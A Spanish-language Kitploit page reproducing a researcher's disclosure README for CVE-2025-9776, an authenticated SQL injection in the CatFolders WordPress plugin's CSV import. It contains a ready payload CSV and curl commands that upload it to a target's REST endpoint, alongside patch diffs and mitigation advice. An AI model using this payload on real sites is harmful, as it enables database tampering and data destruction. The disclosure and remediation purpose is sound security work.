Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-9776 — CVE-2025-9776 — CatFolders WordPress Plugin: Inyección SQL autenticada a través de importación CSV | POC + Walkthrough | Kitploit
Herramientas/GitHubGitHub/snailsploit/cve-2025-9776
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación
GitHubsnailsploit/cve-2025-9776

CVE-2025-9776

CVE-2025-9776 — CatFolders WordPress Plugin: Inyección SQL autenticada a través de importación CSV | POC + Walkthrough

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-9776: Inyección SQL Autenticada en el Plugin CatFolders para WordPress

CVE CVSS Score WordPress Plugin CWE-89 Wordfence

Palabras clave: CVE-2025-9776, vulnerabilidad CatFolders WordPress, inyección SQL WordPress, inyección SQL autenticada, seguridad WordPress, vulnerabilidad importación CSV, exploit plugin WordPress, CWE-89, ataque base de datos WordPress, vulnerabilidad librería multimedia, WordPress CVE 2025

Tabla de Contenidos

  • Resumen
  • Detalles de la Vulnerabilidad
  • Análisis Técnico
  • Prueba de Concepto
  • Guía de Mitigación
  • Métricas CVSS
  • Referencias
  • Contacto de Seguridad

Resumen

Se descubrió una vulnerabilidad de inyección SQL autenticada en el plugin CatFolders para WordPress que permite a usuarios con nivel de Autor manipular consultas de base de datos mediante importaciones CSV maliciosas.

Descubierto por: Kai Aizen (SnailSploit)
Publicado: 2025
Puntuación CVSS: 6.5 (Medio)
CWE: CWE-89 - Inyección SQL

Detalles de la Vulnerabilidad

Descripción

CatFolders – Domina tu Biblioteca Multimedia de WordPress por Categoría contiene una vulnerabilidad de inyección SQL autenticada en la funcionalidad de importación CSV. La columna attachments de un CSV proporcionado por el usuario se divide en una lista y se pasa directamente a FolderModel::set_attachments(), la cual concatena esos valores en cláusulas SQL IN (...) sin la debida sanitización ni parametrización.

Impacto

Esta vulnerabilidad permite a atacantes autenticados con permisos de nivel Autor:

  • Ejecutar consultas SQL arbitrarias
  • Eliminación o manipulación masiva de las relaciones carpeta-archivo adjunto
  • Posible exposición de datos dependiendo del payload y la estructura de la base de datos
  • Comprometer la integridad y disponibilidad de la base de datos

Versiones Afectadas

  • Vulnerable: Todas las versiones ≤ 2.5.2
  • Corregida: Versión 2.5.3 y superiores (verificar con el proveedor)

Métricas CVSS v3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Detalles Técnicos

Ruta de Código Vulnerable

La vulnerabilidad existe en el flujo de importación CSV:

Archivo: includes/Rest/Controllers/ImportController.php

  1. El método import_csv analiza el CSV subido sin sanitización por campo
  2. restore_folders() llama:
root@kitploit:~
FolderModel::set_attachments( 
    $new_folder['id'], 
    explode(',', $folder['attachments']), 
    false 
);

Archivo: includes/Models/FolderModel.php

  1. set_attachments() construye SQL sin formato usando concatenación de cadenas:
root@kitploit:~
'raw' => 'post_id IN (' . $attachmentIds . ')'
  1. Cada elemento no es convertido a entero ni parametrizado, permitiendo inyección SQL

Vector de Ataque

Un atacante con privilegios de nivel Autor (upload_files capability) puede inyectar SQL malicioso a través del endpoint de importación CSV:

Payload CSV malicioso:

root@kitploit:~
id,name,attachments
1,Test Folder,"1) OR 1=1--"

Consulta vulnerable resultante:

root@kitploit:~
SELECT folder_id FROM wp_catf_folder_posts 
WHERE post_id IN (1) OR 1=1--)

Esto rompe la cláusula IN(...) y altera la semántica de la consulta, potencialmente afectando a todas las filas.

Prerrequisitos

  • Cuenta de nivel Autor (o superior) en el sitio WordPress objetivo
  • Plugin CatFolders instalado y activo
  • Acceso al endpoint de importación de la API REST

Prueba de Concepto

Paso 1: Descubrir el Espacio de Nombres REST

root@kitploit:~
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'

Resultado típico: /catf/v1/import-csv

Paso 2: Preparar CSV Malicioso

Crear un archivo llamado catf_inject.csv:

root@kitploit:~
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"

Paso 3: Ejecutar el Ataque

root@kitploit:~
NS="/catf/v1"  # Reemplazar con el espacio de nombres descubierto

curl -i \
  -u 'author_user:APPLICATION_PASSWORD' \
  -F "file=@catf_inject.csv;type=text/csv" \
  -X POST "https://target.site/wp-json${NS}/import-csv"

Respuesta esperada:

root@kitploit:~
{ "success": true }

Demostración del Impacto

El servidor construye y ejecuta:

root@kitploit:~
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)

Esto puede realizar operaciones DELETE/INSERT más amplias de lo previsto, a menudo borrando las relaciones carpeta-archivo adjunto en toda la base de datos.

Entorno de Pruebas Seguro

Ejecute la simulación SQLite independiente para observar la vulnerabilidad de forma segura:

root@kitploit:~
python3 poc/catfolders_sql_poc.py

Esto imprime la consulta vulnerable y demuestra cómo un token malicioso devuelve todas las filas, mientras que una versión parametrizada lo rechaza correctamente.

Mitigación

Para Administradores del Sitio

Acción Inmediata Requerida:

  1. Actualizar CatFolders a la versión 2.5.3 o superior
  2. Revisar las cuentas de usuario con privilegios de nivel Autor o superiores
  3. Auditar los registros de la base de datos en busca de consultas sospechosas entre las fechas afectadas
  4. Verificar las relaciones carpeta-archivo adjunto en busca de modificaciones inesperadas

Para Desarrolladores

Dos pasos mínimos de endurecimiento:

1. Sanitizar IDs Antes de Llamar al Modelo

root@kitploit:~
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+     FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }

2. Forzar Enteros Dentro de set_attachments()

root@kitploit:~
  $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );

Recomendación Más Fuerte

Reemplazar toda concatenación SQL sin formato con consultas parametrizadas usando $wpdb->prepare() de WordPress:

root@kitploit:~
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
    "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
    ...$imgIds
);

Adicionalmente:

  • Validar estrictamente todos los campos CSV antes de procesarlos
  • Implementar validación de tipo de entrada en la capa de la API
  • Agregar limitación de velocidad al endpoint de importación
  • Registrar todas las operaciones de importación para pistas de auditoría

Archivo de Parche

Hay un parche completo disponible en patch/catfolders_fix.patch

Estructura del Repositorio

root@kitploit:~
CVE-2025-9776/
├── README.md                    # Este archivo
├── poc/
│   ├── catf_inject.csv         # Payload CSV malicioso
│   └── catfolders_sql_poc.py   # Simulación SQLite segura
└── patch/
    └── catfolders_fix.patch    # Correcciones recomendadas

Cronología

  • Fecha de Descubrimiento: 2025
  • Notificación al Proveedor: Divulgación coordinada a través de Wordfence
  • Divulgación Pública: 2025
  • Parche Disponible: Versión 2.5.3

Referencias

  • Entrada CVE de MITRE
  • Aviso de Inteligencia de Wordfence
  • Directorio de Plugins de WordPress
  • Investigación de SnailSploit

Créditos

Investigador: Kai Aizen (SnailSploit)

Proceso de Divulgación: Coordinado a través del Programa de Recompensas por Errores de Wordfence

Consideraciones Éticas

⚠️ AVISO IMPORTANTE

Esta Prueba de Concepto se proporciona exclusivamente con fines de investigación defensiva y educativos.

Pautas de Uso

  • ✅ HACER: Probar en sus propios sistemas o con autorización explícita por escrito
  • ✅ HACER: Usar para capacitación y concienciación en seguridad
  • ✅ HACER: Implementar las correcciones en su propio código
  • ❌ NO HACER: Probar contra sistemas sin permiso
  • ❌ NO HACER: Usar con fines maliciosos
  • ❌ NO HACER: Explotar en entornos de producción

Aviso Legal

El acceso no autorizado a sistemas informáticos es ilegal bajo leyes que incluyen:

  • Computer Fraud and Abuse Act (CFAA) - Estados Unidos
  • Computer Misuse Act - Reino Unido
  • Legislación similar en otras jurisdicciones

Úselo bajo su propio riesgo. Los investigadores y SnailSploit no asumen ninguna responsabilidad por el mal uso de esta información.

Contacto

Para preguntas o información adicional sobre esta vulnerabilidad:

  • Correo electrónico: [email protected]
  • LinkedIn: linkedin.com/in/kaiaizen
  • Sitio web: snailsploit.com
  • Organización: SnailSploit Security Research

¡Manténgase seguro y mantenga actualizadas sus instalaciones de WordPress!

Última actualización: 13 de octubre de 2025


📚 Documentación y Autor

La redacción completa, la metodología y la investigación relacionada de este proyecto se encuentran en:

https://snailsploit.com/security-research/cves/cve-2025-9776/

Creado por Kai Aizen — investigador independiente de seguridad ofensiva.

snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter

Mismo ataque. Sustrato diferente.

Descargar herramienta
MétricaValor
Vector de AtaqueRed (AV:N)
Complejidad de AtaqueBaja (AC:L)
Privilegios RequeridosBajos (PR:L) - Autor+
Interacción del UsuarioNinguna (UI:N)
AlcanceSin Cambio (S:U)
ConfidencialidadNinguna (C:N)
IntegridadBaja (I:L)
DisponibilidadBaja (A:L)